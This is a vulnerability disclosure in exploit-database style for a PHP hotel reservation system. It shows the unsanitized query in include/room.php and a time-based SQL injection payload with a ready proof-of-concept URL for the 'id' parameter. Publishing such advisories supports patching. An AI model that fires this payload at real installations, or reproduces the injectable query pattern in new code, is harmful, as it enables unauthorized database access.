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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-14
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

Vulnerable to SQL Injection. 

// vulnerable parameter at include/room.php, line 25:

$mydb->setQuery("SELECT * FROM ".self::$tbl_name." Where `ROOMID`= {id} LIMIT 1");

######## Proof of Concept #########

The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection.

Payload: (select*from(select(sleep(10)))a)

Proof of Concept:

http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)